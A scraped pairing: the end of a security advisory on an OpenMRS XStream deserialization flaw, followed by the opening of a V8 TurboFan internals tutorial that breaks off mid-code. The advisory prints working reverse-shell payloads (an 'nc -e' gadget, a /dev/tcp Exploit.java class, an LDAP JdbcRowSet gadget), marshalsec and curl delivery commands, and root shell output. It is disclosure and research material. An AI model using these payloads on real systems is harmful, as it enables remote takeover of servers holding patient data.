<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/sh</string> <string>-c</string> <string>nc -e /bin/sh 172.16.32.3 8000</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response: ~ » nc -vlp 8000 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51 Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 172.16.32.2. Ncat: Connection from 172.16.32.2:52434. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat 1 2 3 4 5 6 7 8 9 10 11 12 ~ » nc -vlp 8000 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51 Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 Ncat: Connection from 172.16.32.2. Ncat: Connection from 172.16.32.2:52434. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat The response should contain an error message similar to the one below: {"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service …omitted for brevity… 1 2 {"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service …omitted for brevity… The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access. Java 7 Environment Java 7 could be used to run OpenMRS, although the payload used in the Java 8 exploit above would not work. However, the Java Development Kit (SDK) offers a gadget to perform the exploitation that would allow an attacker to gain shell access. The marshalsec tool was used to generate the expected payload. Unlike the first case, the Java 7 exploitation process was conducted in multiple stages. First, a malicious Java class was written to be injected in the targeted environment. After that, an LDAP server was started on the attacker host to provide the compiled Java class within the response of all requests. The payload, shown below, was developed as a proof-of-concept (PoC) exploitation class: Exploit.java public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"/bin/bash","-c","0<&196;exec 196<>/dev/tcp/172.16.32.3/4444; sh <&196 >&196 2>&196"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Exploit.java public class Exploit { static { System.err.println("Pwned"); try { String[] cmd = {"/bin/bash","-c","0<&196;exec 196<>/dev/tcp/172.16.32.3/4444; sh <&196 >&196 2>&196"}; java.lang.Runtime.getRuntime().exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } } } The waitFor() method is useful because it prevents the application from crashing. The IP address 172.16.32.3 and the port 4444 were connected to the attacker host. The assessment team, acting as an attacker, had to compile the previous Exploit.java file into a bytecode class file. The following command line was used: ~ » /usr/lib/jvm/java-1.7.0-openjdk-amd64/javac Exploit.java 1 ~ » /usr/lib/jvm/java-1.7.0-openjdk-amd64/javac Exploit.java The compiled Java class was moved to the /tmp/ (Temp) directory. An attacker would need to start a simple web server on the attacker host. (In this case, the team used Python to do that.) /tmp » python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... 1 2 /tmp » python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... A listener has been started using the tool Netcat. The port 4444 is the value used in the Exploit.java file previously created. /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 1 2 3 4 5 6 /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 The team used the marshalsec tool to simulate an LDAP server by using the command line: ~ » java -cp /directory/to/marshalsec/application/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.32.3:8000/#Exploit" 1 ~ » java -cp /directory/to/marshalsec/application/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.32.3:8000/#Exploit" At this time, three terminals opened and everything was configured to provide the malicious class to the targeted application. The issue was exploited using the JdbcRowSet gadget found by @Matthias_kaiser: <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>databaseMetaData</property> <comparator class="java.util.Collections$ReverseComparator"/> </comparator> </default> <int>3</int> <com.sun.rowset.JdbcRowSetImpl serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://172.16.32.3:1389/obj</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </com.sun.rowset.JdbcRowSetImpl> <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>databaseMetaData</property> <comparator class="java.util.Collections$ReverseComparator"/> </comparator> </default> <int>3</int> <com.sun.rowset.JdbcRowSetImpl serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>ldap://172.16.32.3:1389/obj</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </com.sun.rowset.JdbcRowSetImpl> <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> The ldap connection string within the file above was changed by the attacker IP address and saved to the location /tmp/ldap.txt. By using the following cURL command, the payload was sent to the REST API using POST method: /tmp » curl http://172.16.32.4.4/openmrs/ws/rest/v1/concept -H "Content-Type: text/xml" -X POST --data-binary "@/tmp/ldap.txt" 1 /tmp » curl http://172.16.32.4.4/openmrs/ws/rest/v1/concept -H "Content-Type: text/xml" -X POST --data-binary "@/tmp/ldap.txt" On some versions, the payload needs to be sent to an existing endpoint (e.g., /concept) and on others, the payload needs to a non-existing class (e.g., /conxxcept). The cURL command sent the content of the file located at /tmp/ldap.txt, which contained the gadget. Once the gadget was executed, the Exploit.class file was provided and injected into the targeted application. The execution of the malicious Java file led to remote shell access. Port 4444 of the attacker host received the connection. Note that no error was displayed in the HTTP response: /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.32.4. Ncat: Connection from 172.16.32.4.4:36722. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat ls webapps ROOT docs examples host-manager manager openmrs openmrs.war 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /tmp » nc -vlp 4444 Ncat: Version 7.60 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: D8E0 2CF8 CC88 1B97 3C11 562F F668 6931 C855 916A Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.32.4. Ncat: Connection from 172.16.32.4.4:36722. id uid=0(root) gid=0(root) groups=0(root) pwd /usr/local/tomcat ls webapps ROOT docs examples host-manager manager openmrs openmrs.war Depending of the way the application was deployed, the remote command injection could give different permissions. For example, if the Docker image was used, an attacker would gain full administrative privileges, as shown in the figure above. Disclosure Timeline: October 6, 2018: Initial discovery on OpenMRS Reference application version 2.8.0 (with all modules) November 11, 2018: Tested on OpenMRS Reference application version 2.5 (with all modules) November 18, 2018: Tested all OpenMRS Platform releases Researcher: Nicolas Serra, Security Associate at Bishop Fox Sursa: https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/

Introduction to TurboFan Date Mon 28 January 2019 By Jeremy "__x86" Fetiveau Category exploitation Tags v8 turbofan exploitation Introduction Ages ago I wrote a blog post here called first dip in the kernel pool, this year we're going to swim in a sea of nodes! The current trend is to attack JavaScript engines and more specifically, optimizing JIT compilers such as V8's TurboFan, SpiderMonkey's IonMonkey, JavaScriptCore's Data Flow Graph (DFG) & Faster Than Light (FTL) or Chakra's Simple JIT & FullJIT. In this article we're going to discuss TurboFan and play along with the sea of nodes structure it uses. Then, we'll study a vulnerable optimization pass written by @_tsuro for Google's CTF 2018 and write an exploit for it. We’ll be doing that on a x64 Linux box but it really is the exact same exploitation for Windows platforms (simply use a different shellcode!). If you want to follow along, you can check out the associated repo. Table of contents: Introduction Setup Building v8 The d8 shell Preparing Turbolizer Compilation pipeline Sea of Nodes Control edges Value edges Effect edges Experimenting with the optimization phases Playing with NumberAdd Graph builder phase Typer phase Type lowering Range types CheckBounds nodes Simplified lowering Playing with various addition opcodes SpeculativeSafeIntegerAdd SpeculativeNumberAdd Int32Add JSAdd NumberAdd The DuplicateAdditionReducer challenge Understanding the reduction Understanding the bug Precision loss with IEEE-754 doubles Exploitation Improving the primitive Step 0 : Corrupting a FixedDoubleArray Step 1 : Corrupting a JSArray and leaking an ArrayBuffer's backing store Step 2 : Getting a fake object Step 3 : Arbitrary read/write primitive Step 4 : Overwriting WASM RWX memory Full exploit Conclusion Recommended reading Setup Building v8 Building v8 is very easy. You can simply fetch the sources using depot tools and then build using the following commands: fetch v8 gclient sync ./build/install-build-deps.sh tools/dev/gm.py x64.release Please note that whenever you're updating the sources or checking out a specific commit, do gclient sync or you might be unable to build properly. The d8 shell A very convenient shell called d8 is provided with the engine. For faster builds, limit the compilation to this shell: ~/v8$ ./tools/dev/gm.py x64.release d8 Try it: ~/v8$ ./out/x64.release/d8 V8 version 7.3.0 (candidate) d8> print("hello doare") hello doare Many interesting flags are available. List them using d8 --help. In particular, v8 comes with runtime functions that you can call from JavaScript using the % prefix. To enable this syntax, you need to use the flag --allow-natives-syntax. Here is an example: $ d8 --allow-natives-syntax V8 version 7.3.0 (candidate) d8> let a = new Array('d','o','a','r','e') undefined d8> %DebugPrint(a) DebugPrint: 0x37599d40aee1: [JSArray] - map: 0x01717e082d91 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x39ea1928fdb1 <JSArray[0]> - elements: 0x37599d40af11 <FixedArray[5]> [PACKED_ELEMENTS] - length: 5 - properties: 0x0dfc80380c19 <FixedArray[0]> { #length: 0x3731486801a1 <AccessorInfo> (const accessor descriptor) } - elements: 0x37599d40af11 <FixedArray[5]> { 0: 0x39ea1929d8d9 <String[#1]: d> 1: 0x39ea1929d8f1 <String[#1]: o> 2: 0x39ea1929d8c1 <String[#1]: a> 3: 0x39ea1929d909 <String[#1]: r> 4: 0x39ea1929d921 <String[#1]: e> } 0x1717e082d91: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x01717e082d41 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype_validity cell: 0x373148680601 <Cell value= 1> - instance descriptors #1: 0x39ea192909f1 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x39ea192909c1 <TransitionArray[4]>Transition array #1: 0x0dfc80384b71 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x01717e082de1 <Map(HOLEY_ELEMENTS)> - prototype: 0x39ea1928fdb1 <JSArray[0]> - constructor: 0x39ea1928fb79 <JSFunction Array (sfi = 0x37314868ab01)> - dependent code: 0x0dfc803802b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 ["d", "o", "a", "r", "e"] If you want to know about existing runtime functions, simply go to src/runtime/ and grep on all the RUNTIME_FUNCTION (this is the macro used to declare a new runtime function). Preparing Turbolizer Turbolizer is a tool that we are going to use to debug TurboFan's sea of nodes graph. cd tools/turbolizer npm i npm run-script build python -m SimpleHTTPServer When you execute a JavaScript file with --trace-turbo (use --trace-turbo-filter to limit to a specific function), a .cfg and a .json files are generated so that you can get a graph view of different optimization passes using Turbolizer. Simply go to the web interface using your favourite browser (which is Chromium of course) and select the file from the interface. Compilation pipeline Let's take the following code. let f = (o) => { var obj = [1,2,3]; var x = Math.ceil(Math.random()); return obj[o+x]; } for (let i = 0; i < 0x10000; ++i) { f(i); } We can trace optimizations with --trace-opt and observe that the function f will eventually get optimized by TurboFan as you can see below. $ d8 pipeline.js --trace-opt [marking 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> for optimized recompilation, reason: small function, ICs with typeinfo: 4/4 (100%), generic ICs: 0/4 (0%)] [marking 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 2/7 (28%)] [compiling method 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> using TurboFan] [optimizing 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> - took 23.583, 25.899, 0.444 ms] [completed optimizing 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)>] [compiling method 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> using TurboFan OSR] [optimizing 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> - took 18.238, 87.603, 0.874 ms] We can look at the code object of the function before and after optimization using %DisassembleFunction. // before 0x17de4c02061: [Code] - map: 0x0868f07009d9 <Map> kind = BUILTIN name = InterpreterEntryTrampoline compiler = unknown address = 0x7ffd9c25d340 // after 0x17de4c82d81: [Code] - map: 0x0868f07009d9 <Map> kind = OPTIMIZED_FUNCTION stack_slots = 8 compiler = turbofan address = 0x7ffd9c25d340 What happens is that v8 first generates ignition bytecode. If the function gets executed a lot, TurboFan will generate some optimized code. Ignition instructions gather type feedback that will help for TurboFan's speculative optimizations. Speculative optimization means that the code generated will be made upon assumptions. For instance, if we've got a function move that is always used to move an object of type Player, optimized code generated by Turbofan will expect Player objects and will be very fast for this case. class Player{} class Wall{} function move(o) { // ... } player = new Player(); move(player) move(player) ... // ... optimize code! the move function handles very fast objects of type Player move(player) However, if 10 minutes later, for some reason, you move a Wall instead of a Player, that will break the assumptions originally made by TurboFan. The generated code was very fast, but could only handle Player objects. Therefore, it needs to be destroyed and some ignition bytecode will be generated instead. This is called deoptimization and it has a huge performance cost. If we keep moving both Wall and Player, TurboFan will take this into account and optimize again the code accordingly. Let's observe this behaviour using --trace-opt and --trace-deopt ! class Player{} class Wall{} function move(obj) { var tmp = obj.x + 42; var x = Math.random(); x += 1; return tmp + x; } for (var i = 0; i < 0x10000; ++i) { move(new Player()); } move(new Wall()); for (var i = 0; i < 0x10000; ++i) { move(new Wall()); } $ d8 deopt.js --trace-opt --trace-deopt [marking 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)] [compiling method 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> using TurboFan] [optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> - took 23.374, 15.701, 0.379 ms] [completed optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)>] // [...] [deoptimizing (DEOPT eager): begin 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> (opt #0) @1, FP to SP delta: 24, caller sp: 0x7ffcd23cba98] ;;; deoptimize at <deopt.js:5:17>, wrong map // [...] [deoptimizing (eager): end 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> @1 => node=0, pc=0x7fa245e11e60, caller sp=0x7ffcd23cba98, took 0.755 ms] [marking 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)] [compiling method 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> using TurboFan] [optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> - took 11.599, 10.742, 0.573 ms] [completed optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)>] // [...] The log clearly shows that when encountering the Wall object with a different map (understand "type") it deoptimizes because the code was only meant to deal with Player objects. If you are interested to learn more about this, I recommend having a look at the following ressources: TurboFan Introduction to speculative optimization in v8, v8 behind the scenes, Shape and v8 resources. Sea of Nodes Just a few words on sea of nodes. TurboFan works on a program representation called a sea of nodes. Nodes can represent arithmetic operations, load, stores, calls, constants etc. There are three types of edges that we describe one by one below. Control edges Control edges are the same kind of edges that you find in Control Flow Graphs. They enable branches and loops. Value edges Value edges are the edges you find in Data Flow Graphs. They show value dependencies. Effect edges Effect edges order operations such as reading or writing states. In a scenario like obj[x] = obj[x] + 1 you need to read the property x before writing it. As such, there is an effect edge between the load and the store. Also, you need to increment the read property before storing it. Therefore, you need an effect edge between the load and the addition. In the end, the effect chain is load -> add -> store as you can see below. If you would like to learn more about this you may want to check this TechTalk on TurboFan JIT design or this blog post. Experimenting with the optimization phases In this article we want to focus on how v8 generates optimized code using TurboFan. As mentioned just before, TurboFan works with sea of nodes and we want to understand how this graph evolves through all the optimizations. This is particularly interesting to us because some very powerful security bugs have been found in this area. Recent TurboFan vulnerabilities include incorrect typing of Math.expm1, incorrect typing of String.(last)IndexOf (that I exploited here) or incorrect operation side-effect modeling. In order to understand what happens, you really need to read the code. Here are a few places you want to look at in the source folder : src/builtin Where all the builtins functions such as Array#concat are implemented src/runtime Where all the runtime functions such as %DebugPrint are implemented src/interpreter/interpreter-generator.cc Where all the bytecode handlers are implemented src/compiler Main repository for TurboFan! src/compiler/pipeline.cc The glue that builds the graph, runs every phase and optimizations passes etc src/compiler/opcodes.h Macros that defines all the opcodes used by TurboFan src/compiler/typer.cc Implements typing via the Typer reducer src/compiler/operation-typer.cc Implements some more typing, used by the Typer reducer src/compiler/simplified-lowering.cc Implements simplified lowering, where some CheckBounds elimination will be done Playing with NumberAdd Let's consider the following function : function opt_me() { let x = Math.random(); let y = x + 2; return y + 3; } Simply execute it a lot to trigger TurboFan or manually force optimization with %OptimizeFunctionOnNextCall. Run your code with --trace-turbo to generate trace files for turbolizer. Graph builder phase We can look at the very first generated graph by selecting the "bytecode graph builder" option. The JSCall node corresponds to the Math.random call and obviously the NumberConstant and SpeculativeNumberAdd nodes are generated because of both x+2 and y+3 statements. Typer phase After graph creation comes the optimization phases, which as the name implies run various optimization passes. An optimization pass can be called during several phases. One of its early optimization phase, is called the TyperPhase and is run by OptimizeGraph. The code is pretty self-explanatory. // pipeline.cc bool PipelineImpl::OptimizeGraph(Linkage* linkage) { PipelineData* data = this->data_; // Type the graph and keep the Typer running such that new nodes get // automatically typed when they are created. Run<TyperPhase>(data->CreateTyper()); // pipeline.cc struct TyperPhase { void Run(PipelineData* data, Zone* temp_zone, Typer* typer) { // [...] typer->Run(roots, &induction_vars); } }; When the Typer runs, it visits every node of the graph and tries to reduce them. // typer.cc void Typer::Run(const NodeVector& roots, LoopVariableOptimizer* induction_vars) { // [...] Visitor visitor(this, induction_vars); GraphReducer graph_reducer(zone(), graph()); graph_reducer.AddReducer(&visitor); for (Node* const root : roots) graph_reducer.ReduceNode(root); graph_reducer.ReduceGraph(); // [...] } class Typer::Visitor : public Reducer { // ... Reduction Reduce(Node* node) override { // calls visitors such as JSCallTyper } // typer.cc Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) { return Type::NonInternal(); } JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction(); if (!function.shared().HasBuiltinFunctionId()) { return Type::NonInternal(); } switch (function.shared().builtin_function_id()) { case BuiltinFunctionId::kMathRandom: return Type::PlainNumber(); So basically, the TyperPhase is going to call JSCallTyper on every single JSCall node that it visits. If we read the code of JSCallTyper, we see that whenever the called function is a builtin, it will associate a Type with it. For instance, in the case of a call to the MathRandom builtin, it knows that the expected return type is a Type::PlainNumber. Type Typer::Visitor::TypeNumberConstant(Node* node) { double number = OpParameter<double>(node->op()); return Type::NewConstant(number, zone()); } Type Type::NewConstant(double value, Zone* zone) { if (RangeType::IsInteger(value)) { return Range(value, value, zone); } else if (IsMinusZero(value)) { return Type::MinusZero(); } else if (std::isnan(value)) { return Type::NaN(); } DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value)); return OtherNumberConstant(value, zone); } For the NumberConstant nodes it's easy. We simply read TypeNumberConstant. In most case, the type will be Range. What about those SpeculativeNumberAdd now? We need to look at the OperationTyper. #define SPECULATIVE_NUMBER_BINOP(Name) \ Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \ lhs = SpeculativeToNumber(lhs); \ rhs = SpeculativeToNumber(rhs); \ return Name(lhs, rhs); \ } SPECULATIVE_NUMBER_BINOP(NumberAdd) #undef SPECULATIVE_NUMBER_BINOP Type OperationTyper::SpeculativeToNumber(Type type) { return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone())); } They end-up being reduced by OperationTyper::NumberAdd(Type lhs, Type rhs) (the return Name(lhs,rhs) becomes return NumberAdd(lhs, rhs) after pre-processing). To get the types of the right input node and the left input node, we call SpeculativeToNumber on both of them. To keep it simple, any kind of Type::Number will remain the same type (a PlainNumber being a Number, it will stay a PlainNumber). The Range(n,n) type will become a Number as well so that we end-up calling NumberAdd on two Number. NumberAdd mostly checks for some corner cases like if one of the two types is a MinusZero for instance. In most cases, the function will simply return the PlainNumber type. Okay done for the Typer phase! To sum up, everything happened in : - Typer::Visitor::JSCallTyper - OperationTyper::SpeculativeNumberAdd And this is how types are treated : - The type of JSCall(MathRandom) becomes a PlainNumber, - The type of NumberConstant[n] with n != NaN & n != -0 becomes a Range(n,n) - The type of a Range(n,n) is PlainNumber - The type of SpeculativeNumberAdd(PlainNumber, PlainNumber) is PlainNumber Now the graph looks like this : Type lowering In OptimizeGraph, the type lowering comes right after the typing. // pipeline.cc Run<TyperPhase>(data->CreateTyper()); RunPrintAndVerify(TyperPhase::phase_name()); Run<TypedLoweringPhase>(); RunPrintAndVerify(TypedLoweringPhase::phase_name()); This phase goes through even more reducers. // pipeline.cc TypedOptimization typed_optimization(&graph_reducer, data->dependencies(), data->jsgraph(), data->broker()); // [...] AddReducer(data, &graph_reducer, &dead_code_elimination); AddReducer(data, &graph_reducer, &create_lowering); AddReducer(data, &graph_reducer, &constant_folding_reducer); AddReducer(data, &graph_reducer, &typed_lowering); AddReducer(data, &graph_reducer, &typed_optimization); AddReducer(data, &graph_reducer, &simple_reducer); AddReducer(data, &graph_reducer, &checkpoint_elimination); AddReducer(data, &graph_reducer, &common_reducer); Let's have a look at the TypedOptimization and more specifically TypedOptimization::Reduce. When a node is visited and its opcode is IrOpcode::kSpeculativeNumberAdd, it calls ReduceSpeculativeNumberAdd. Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) { Node* const lhs = NodeProperties::GetValueInput(node, 0); Node* const rhs = NodeProperties::GetValueInput(node, 1); Type const lhs_type = NodeProperties::GetType(lhs); Type const rhs_type = NodeProperties::GetType(rhs); NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNumber(y)) Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node* const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(node); } return NoChange(); } In the case of our two nodes, both have a hint of NumberOperationHint::kNumber because their type is a PlainNumber. Both the right and left hand side types are PlainPrimitive (PlainNumber from the NumberConstant's Range and PlainNumber from the JSCall). Therefore, a new NumberAdd node is created and replaces the SpeculativeNumberAdd. Similarly, there is a JSTypedLowering::ReduceJSCall called when the JSTypedLowering reducer is visiting a JSCall node. Because the call target is a Code Stub Assembler implementation of a builtin function, TurboFan simply creates a LoadField node and change the opcode of the JSCall node to a Call opcode. It also adds new inputs to this node. Reduction JSTypedLowering::ReduceJSCall(Node* node) { // [...] // Check if {target} is a known JSFunction. // [...] // Load the context from the {target}. Node* context = effect = graph()->NewNode( simplified()->LoadField(AccessBuilder::ForJSFunctionContext()), target, effect, control); NodeProperties::ReplaceContextInput(node, context); // Update the effect dependency for the {node}. NodeProperties::ReplaceEffectInput(node, effect); // [...] // kMathRandom is a CSA builtin, not a CPP one // builtins-math-gen.cc:TF_BUILTIN(MathRandom, CodeStubAssembler) // builtins-definitions.h: TFJ(MathRandom, 0, kReceiver) } else if (shared.HasBuiltinId() && Builtins::HasCppImplementation(shared.builtin_id())) { // Patch {node} to a direct CEntry call. ReduceBuiltin(jsgraph(), node, shared.builtin_id(), arity, flags); } else if (shared.HasBuiltinId() && Builtins::KindOf(shared.builtin_id()) == Builtins::TFJ) { // Patch {node} to a direct code object call. Callable callable = Builtins::CallableFor( isolate(), static_cast<Builtins::Name>(shared.builtin_id())); CallDescriptor::Flags flags = CallDescriptor::kNeedsFrameState; const CallInterfaceDescriptor& descriptor = callable.descriptor(); auto call_descriptor = Linkage::GetStubCallDescriptor( graph()->zone(), descriptor, 1 + arity, flags); Node* stub_code = jsgraph()->HeapConstant(callable.code()); node->InsertInput(graph()->zone(), 0, stub_code); // Code object. node->InsertInput(graph()->zone(), 2, new_target); 